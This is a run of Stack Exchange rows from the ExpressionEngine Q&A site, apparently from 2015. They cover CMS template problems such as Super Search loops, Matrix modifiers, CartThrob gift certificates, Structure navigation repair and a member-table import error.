  <row Id="34597" PostTypeId="1" CreationDate="2015-11-02T18:14:00.543" Score="0" ViewCount="64" Body="&lt;p&gt;This one is a beast of my own design, but I could use some expert EE help to get this more efficient. Here's the deal. EE categories are not as functional as I would like, particularly when it comes to custom fields. I have a large number of products to display by category, and at a category level, the site needs to have a description, multiple images, an meta description to jump up into the footer, etc. So I resorted to using an entry for this info - one entry per category. I'm basically using categories in the site only to provide the connection between the two AND to provide parent/child relationships at the category level that would otherwise not be easily achieved. I'm using GW Code Categories to provide concatenation of the category URLS (though not on the product page, which I may revise.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, I know - expensive to process, but much more functional on the data side. On the upside, each product only has one category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now, when I'm viewing a product, I'm passing that product's assigned category into an embed, then using an entries loop to get the custom fields I need for the category to display within the product entry (the images at a category level, and some other custom field data, get displayed within an individual entry, rather than repeating that info at a product level within the product entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, my URL structure is two fold:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;catalog/category-name/subcategory-name (this is done within the index template in the catalog group, and once I hit the end of the tree, the list of all products in the category displays from the products channel, and I only ever go up to 2 deep)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;catalog/view/product-id&#xA;It's within view this template that I need to grab the description and images of the category to which the product is assigned (which matches up with an entry in my &quot;category intros&quot; channel) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you EE experts out there envision using the query module to make this marriage of content in two channels more efficient to process?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2016-06-08T15:17:35.743" Title="Need query to get custom fields from one entry into another entries loop on basis of shared category" Tags="|channel-entries|queries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34598" PostTypeId="2" ParentId="34597" CreationDate="2015-11-02T18:53:16.350" Score="0" Body="&lt;p&gt;Before giving this query specifically, have you considered exclusively using entries for the categories (as you're doing) but then using Playa to link them together instead of real categories? Have a &quot;Categories&quot; channel, use it to store your category data (again, as you do now) and then either have a single relationship field on your products or a multiple relationship field on the categories to do the assignments. Then, you could use the siblings, parents, children, and other tags to do whatever you need.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-11-02T18:53:16.350" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34600" PostTypeId="1" AcceptedAnswerId="34689" CreationDate="2015-11-02T21:17:02.837" Score="0" ViewCount="50" Body="&lt;p&gt;I have a result page where I want to divide the result presentation up in 2 different columns. One pulls out only stuff from channel 1, and the other one from channel 2,3,4 and 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried the &lt;code&gt;allow_repeats=&quot;yes&quot;&lt;/code&gt;, but none of the loops show any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I remove one of the &lt;code&gt;{exp:super_search:results}&lt;/code&gt; on the page, it works fine (for the &lt;code&gt;{exp:super_search:results}&lt;/code&gt; that's still on the page that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't wrap my head around it &gt;_&amp;lt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section id=&quot;search&quot;&amp;gt;&#xA;&amp;lt;section class=&quot;container-wide&quot;&amp;gt;&#xA;    &amp;lt;!-- TOP CONTAINER --&amp;gt;&#xA;    &amp;lt;section class=&quot;search-article&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;column--twelve&quot;&amp;gt;&#xA;            &amp;lt;h5&amp;gt;resultat för sökningen efter&amp;lt;/h5&amp;gt;&#xA;            &amp;lt;h1&amp;gt;&quot;{super_search_keywords}&quot;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;!-- VÄNSTER KOLUMN --&amp;gt;&#xA;        &amp;lt;div class=&quot;column--six-left&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;Produkter&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;search--result-products&quot;&amp;gt;&#xA;            &amp;lt;style&amp;gt;mark {background-color:#FFEB4F;}&amp;lt;/style&amp;gt;&#xA;                {exp:super_search:results channel=&quot;produkter&quot; highlight_keywords=&quot;mark&quot; allow_repeats=&quot;yes&quot;}&#xA;                {!-- loop 1 --}&#xA;                &amp;lt;div class=&quot;produkt&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{title_permalink='produkt'}&quot;&amp;gt;&#xA;                        {exp:ce_img:pair src=&quot;/assets/images/uploads/produkt_images/{produkt_huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                            &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                        {/exp:ce_img:pair}&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;{title_permalink='produkt'}&quot;&amp;gt;{varumrke}&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='produkt'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                {/exp:super_search:results}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!--div&amp;gt;&#xA;                &amp;lt;div class=&quot;show--more&quot;&amp;gt;&amp;lt;div class=&quot;button&quot;&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Visa fler produkter&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- END VÄNSTER KOLUMN --&amp;gt;&#xA;&#xA;        &amp;lt;!-- HÖGER KOLUMN --&amp;gt;&#xA;        &amp;lt;section class=&quot;column--six-right&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;divider&quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;span&amp;gt;Beauty/Varumärke/Utbildningar&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;search--beauty-holder&quot;&amp;gt;&#xA;                {exp:super_search:results channel=&quot;beauty_k|beauty_l|beauty_li|utbildning|varumarke&quot; highlight_keywords=&quot;mark&quot; status=&quot;open&quot; allow_repeats=&quot;yes&quot;}&#xA;                 {!-- loop 2 --}&#xA;                {if channel_short_name == &quot;beauty_k&quot;}&#xA;                    &amp;lt;div class=&quot;single&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;bild&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                                    &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;h5&amp;gt;{liten_rubrik}&amp;lt;/h5&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;{kort_beskrivning}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                {if channel_short_name == &quot;beauty_l&quot;}&#xA;                    &amp;lt;div class=&quot;single&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;bild&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                                    &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;h5&amp;gt;{liten_rubrik}&amp;lt;/h5&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;{kort_beskrivning}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                {if channel_short_name == &quot;beauty_li&quot;}&#xA;                    &amp;lt;div class=&quot;single&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;bild&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                                    &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;h5&amp;gt;{liten_rubrik}&amp;lt;/h5&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='beauty/artikel'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;{kort_beskrivning}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                {if channel_short_name == &quot;utbildning&quot;}&#xA;                    &amp;lt;div class=&quot;single&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;bild&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='utbildning'}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{ut_huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                                    &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;h5&amp;gt;{ut_liten_rubrik}&amp;lt;/h5&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='utbildning'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;{ut_kort_beskrivning}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                {if channel_short_name == &quot;varumarke&quot;}&#xA;                    &amp;lt;div class=&quot;single&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;bild&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{title_permalink='varumarke'}&quot;&amp;gt;&#xA;                                {exp:ce_img:pair src=&quot;{v_huvudbild}&quot; max=&quot;350&quot; crop=&quot;yes&quot;}&#xA;                                    &amp;lt;img src=&quot;{made}&quot; /&amp;gt;&#xA;                                {/exp:ce_img:pair}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;text&quot;&amp;gt;&amp;lt;h5&amp;gt;{v_liten_rubrik}&amp;lt;/h5&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='varumarke'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;{v_ingress}&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                {/exp:super_search:results}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!--div&amp;gt;&#xA;                &amp;lt;div class=&quot;show--more&quot;&amp;gt;&amp;lt;div class=&quot;button&quot;&amp;gt;&amp;lt;a href=&quot;&quot;&amp;gt;Visa mer från beauty&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div--&amp;gt;&#xA;        &amp;lt;/section&amp;gt;&#xA;        &amp;lt;!-- END HÖGER KOLUMN --&amp;gt;&#xA;&#xA;    &amp;lt;/section&amp;gt;&#xA;    &amp;lt;!-- TOP CONTAINER --&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&#xA;{embed=&quot;site/_banner-vert&quot;}&#xA;{embed=&quot;site/_recomended&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.10.x, so I'm not using the super search 3.0 version.&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2015-11-10T22:15:23.767" Title="Super Search with Two loops on the result page" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34601" PostTypeId="2" ParentId="34600" CreationDate="2015-11-02T21:41:01.790" Score="0" Body="&lt;p&gt;Try putting one of your SuperSearch loops in a template partial, and embed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/templates/embedding.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-02T21:41:01.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34603" PostTypeId="1" AcceptedAnswerId="34656" CreationDate="2015-11-03T06:03:23.977" Score="0" ViewCount="23" Body="&lt;p&gt;I'm not sure if this is a problem with Matrix or Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modifiers}&#xA;{if modifier_name==&quot;Linen&quot;}&#xA;{modifier_options}&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;{modifier_input_name}&quot; id=&quot;{modifier_input_name}-{option_id}&quot; value=&quot;{option_id}&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;{modifier_input_name}-{option_id}&quot; class=&quot;swatch-label&quot;&amp;gt;&#xA;  {product_fabric_swatches search:product_type=&quot;=Linen&quot; search:product_swatch_name=&quot;={option_name}&quot;}&#xA;  &amp;lt;img src=&quot;{exp:ce_img:single src='{product_swatch}'&quot;&amp;gt;&#xA;  {/product_fabric_swatches}&#xA;&amp;lt;/label&amp;gt;&#xA;{/modifier_options}&#xA;{/if}&#xA;{modifiers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;modifiers_13-61&quot;&amp;gt; &quot;}&#xA;    &amp;lt;img src=&quot;…/1-0003-0001_60_60.jpg&quot; data-src=&quot;…/1-0003-0001_800_533.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see it outputs the label and associated image but it's not filtering on the &lt;code&gt;{option_name}&lt;/code&gt; and there's a stray &lt;code&gt;&quot;}&lt;/code&gt; after the label which appears to be the closing of the Matrix tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I replace &lt;code&gt;{option_name}&lt;/code&gt; with one of the values entered into Matrix, then I get the output I expect, but obviously only for a single row.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-11-06T11:21:15.910" Title="Store modifier value not being output inside Matrix" Tags="|expresso-store|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34604" PostTypeId="1" CreationDate="2015-11-03T08:54:11.130" Score="0" ViewCount="29" Body="&lt;p&gt;I'm doing some work on an existing site that uses Cartthrob and finishing off the gift certificate integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the life of me I can't figure out how to show the details of a gift certificate that the customer is purchasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The certificate is a single &quot;product&quot; that can have a variable value which is selected when the customer adds it to their cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the cart/checkout, I can show the product title and its price but I can't show the email address or message associated with the certificate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;em&gt;has&lt;/em&gt; to be a way to do that right? &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-04-19T15:06:31.120" Title="Displaying gift certificate info in Cartthrob's checkout/cart when buying a certificate" Tags="|cartthrob|checkout|shopping-cart|giftcertificates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34605" PostTypeId="1" AcceptedAnswerId="34608" CreationDate="2015-11-03T09:03:35.290" Score="0" ViewCount="32" Body="&lt;p&gt;I need to show label (img alt or title property text) under the image when paste this image in Wygwam. Does exists the way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastEditorUserId="2362" LastEditDate="2015-11-03T10:29:14.680" LastActivityDate="2015-11-03T13:05:31.070" Title="How to show image label when paste it in Wygwam field?" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34606" PostTypeId="2" ParentId="13585" CreationDate="2015-11-03T09:12:22.490" Score="3" Body="&lt;p&gt;In addition to Bhashkar Yadav's answer, this worked successfully for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='channel_xyz' status='not closed'}&#xA;    {if relationship_field:total_results &amp;gt; 0}&#xA;        ...do something!&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...that is, having it outside of the relationship field loop.&lt;/p&gt;&#xA;" OwnerUserId="2432" LastActivityDate="2015-11-03T09:12:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34608" PostTypeId="2" ParentId="34605" CreationDate="2015-11-03T13:05:31.070" Score="1" Body="&lt;p&gt;I'm assuming you mean on the frontend of the website, rather than in the Wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few different approaches, personally the easiest and most straight forward for both the developer and CMS editors, would be to implement on the frontend via JavaScript (&lt;a href=&quot;http://davemcmillan.net/use-jquery-to-display-an-image-alt-tag-as-a-caption-overlay/&quot; rel=&quot;nofollow noreferrer&quot;&gt;example&lt;/a&gt;), so parses the text area taking title and adding beneath as a p or label tag. Therefore no different for CMS editor to add images and nothing special needs to be done each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatives would be...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utilise an &lt;a href=&quot;http://captionjs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;existing JQuery library&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding custom parsing in PHP or in a plugin within the template (a lot more effort)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or utilising &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19953/wygwam-creating-a-custom-template&quot;&gt;Wygwam templates&lt;/a&gt; - may be more complex for editors to add images each time and for you to build initially&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google &quot;ckeditor&quot;, as Wygwam is based on it, a lot of its functionality and features can be utilised.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-11-03T13:05:31.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34609" PostTypeId="1" AcceptedAnswerId="34610" CreationDate="2015-11-03T13:56:00.200" Score="4" ViewCount="110" Body="&lt;p&gt;After playing with structure, the navigation tree was broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nRRx3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRRx3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unforchently we don't have a DB backup. Any advice how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="6806" LastActivityDate="2015-11-03T16:34:48.723" Title="How to fix Structure navigation in CP?" Tags="|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34610" PostTypeId="2" ParentId="34609" CreationDate="2015-11-03T14:26:34.323" Score="2" Body="&lt;p&gt;Most probable that some entries were deleted from the system, but still they still in structure exp_structure table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One-step solution:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM exp_structure WHERE entry_id not IN ( Select entry_id from exp_channel_titles )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Two-step solution&lt;/strong&gt; (if u want to validate results):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Find missed records:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT GROUP_CONCAT(entry_id) as entry_ids  FROM &#xA;exp_structure WHERE entry_id NOT IN (Select entry_id from exp_channel_titles)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete missed records, using results of the first query in next query (instead of &lt;strong&gt;XXXXXXXX&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DELETE FROM exp_structure WHERE entry_id IN ( &lt;strong&gt;XXXXXXXX&lt;/strong&gt; )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-11-03T14:26:34.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34611" PostTypeId="2" ParentId="21880" CreationDate="2015-11-03T15:32:04.750" Score="0" Body="&lt;p&gt;Removing index.php from the URL can be done in the .htaccess file. This technique has worked for me on several occasions.&#xA;See Ellislab's information page.&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6807" LastActivityDate="2015-11-03T15:32:04.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34613" PostTypeId="2" ParentId="34604" CreationDate="2015-11-03T16:30:30.953" Score="0" Body="&lt;p&gt;Entirely depends on how the data was added to the order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're passing on the fly data, then check out the &lt;a href=&quot;https://www.cartthrob.com/docs/tutorials/adding_custom_data_to_purchased_items_and_orders/index.html&quot; rel=&quot;nofollow&quot;&gt;Adding Custom Data to Purchased Items and Orders&lt;/a&gt; part of the docs, else if it's coming from a products channel, then you can access the product details with the &lt;a href=&quot;https://www.cartthrob.com/docs/tags_detail/cart_items_info/index.html&quot; rel=&quot;nofollow&quot;&gt;{exp:cartthrob:cart_items_info}&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="2843" LastActivityDate="2015-11-03T16:30:30.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34614" PostTypeId="2" ParentId="34609" CreationDate="2015-11-03T16:34:48.723" Score="2" Body="&lt;p&gt;This is from duplicate ordering values. Run our debug mode: &lt;a href=&quot;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&quot; rel=&quot;nofollow&quot;&gt;http://buildwithstructure.com/documentation/debug_mode_for_page_data/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2015-11-03T16:34:48.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34615" PostTypeId="1" CreationDate="2015-11-03T19:17:36.407" Score="0" ViewCount="333" Body="&lt;p&gt;I'm trying to import EXP_MEMBERS but I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Static analysis:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2 errors were found during analysis.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Ending quote ' was expected. (near &quot;&quot; at position 3821)&#xA;     76 values were expected, but found 6. (near &quot;(&quot; at position 3620)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SQL query:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;INSERT INTO &lt;code&gt;exp_members&lt;/code&gt; (&lt;code&gt;member_id&lt;/code&gt;, &lt;code&gt;group_id&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, &lt;code&gt;screen_name&lt;/code&gt;, &lt;code&gt;password&lt;/code&gt;, &lt;code&gt;salt&lt;/code&gt;, &lt;code&gt;unique_id&lt;/code&gt;, &lt;code&gt;crypt_key&lt;/code&gt;, &lt;code&gt;authcode&lt;/code&gt;, &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;url&lt;/code&gt;, &lt;code&gt;location&lt;/code&gt;, &lt;code&gt;occupation&lt;/code&gt;, &lt;code&gt;interests&lt;/code&gt;, &lt;code&gt;bday_d&lt;/code&gt;, &lt;code&gt;bday_m&lt;/code&gt;, &lt;code&gt;bday_y&lt;/code&gt;, &lt;code&gt;aol_im&lt;/code&gt;, &lt;code&gt;yahoo_im&lt;/code&gt;, &lt;code&gt;msn_im&lt;/code&gt;, &lt;code&gt;icq&lt;/code&gt;, &lt;code&gt;bio&lt;/code&gt;, &lt;code&gt;signature&lt;/code&gt;, &lt;code&gt;avatar_filename&lt;/code&gt;, &lt;code&gt;avatar_width&lt;/code&gt;, &lt;code&gt;avatar_height&lt;/code&gt;, &lt;code&gt;photo_filename&lt;/code&gt;, &lt;code&gt;photo_width&lt;/code&gt;, &lt;code&gt;photo_height&lt;/code&gt;, &lt;code&gt;sig_img_filename&lt;/code&gt;, &lt;code&gt;sig_img_width&lt;/code&gt;, &lt;code&gt;sig_img_height&lt;/code&gt;, &lt;code&gt;ignore_list&lt;/code&gt;, &lt;code&gt;private_messages&lt;/code&gt;, &lt;code&gt;accept_messages&lt;/code&gt;, &lt;code&gt;last_view_bulletins&lt;/code&gt;, &lt;code&gt;last_bulletin_date&lt;/code&gt;, &lt;code&gt;ip_address&lt;/code&gt;, &lt;code&gt;join_date&lt;/code&gt;, &lt;code&gt;last_visit&lt;/code&gt;, &lt;code&gt;last_activity&lt;/code&gt;, &lt;code&gt;total_entries&lt;/code&gt;, &lt;code&gt;total_comments&lt;/code&gt;, &lt;code&gt;total_forum_topics&lt;/code&gt;, &lt;code&gt;total_forum_posts&lt;/code&gt;, &lt;code&gt;last_entry_date&lt;/code&gt;, &lt;code&gt;last_comment_date&lt;/code&gt;, &lt;code&gt;last_forum_post_date&lt;/code&gt;, &lt;code&gt;last_email_date&lt;/code&gt;, &lt;code&gt;in_authorlist&lt;/code&gt;, &lt;code&gt;accept_admin_email&lt;/code&gt;, &lt;code&gt;accept_user_email&lt;/code&gt;, &lt;code&gt;notify_by_default&lt;/code&gt;, &lt;code&gt;notify_of_pm&lt;/code&gt;, &lt;code&gt;display_avatars&lt;/code&gt;, &lt;code&gt;display_signatures&lt;/code&gt;, &lt;code&gt;parse_smileys&lt;/code&gt;, &lt;code&gt;smart_notifications&lt;/code&gt;, &lt;code&gt;language&lt;/code&gt;, &lt;code&gt;timezone&lt;/code&gt;, &lt;code&gt;time_format&lt;/code&gt;, &lt;code&gt;include_seconds&lt;/code&gt;, &lt;code&gt;date_format&lt;/code&gt;, &lt;code&gt;cp_theme&lt;/code&gt;, &lt;code&gt;profile_theme&lt;/code&gt;, &lt;code&gt;forum_theme&lt;/code&gt;, &lt;code&gt;tracker&lt;/code&gt;, &lt;code&gt;template_size&lt;/code&gt;, &lt;code&gt;notepad&lt;/code&gt;, &lt;code&gt;notepad_size&lt;/code&gt;, &lt;code&gt;quick_links&lt;/code&gt;, &lt;code&gt;quick_tabs&lt;/code&gt;, &lt;code&gt;show_sidebar&lt;/code&gt;, &lt;code&gt;pmember_id&lt;/code&gt;, &lt;code&gt;rte_enabled&lt;/code&gt;, &lt;code&gt;rte_toolset_id&lt;/code&gt;) VALUES (4, 1, 'test@test', 'Nick Alder', 'b8a2664ef686d40d1f7c0d6124cb150bbc64a5ddd2b3a5ff53c39bc0e36bcc121f79ea7a941c9bf55d527d2c654f7733aa57c0cffe880ce8dbe1dd47117d40e6', 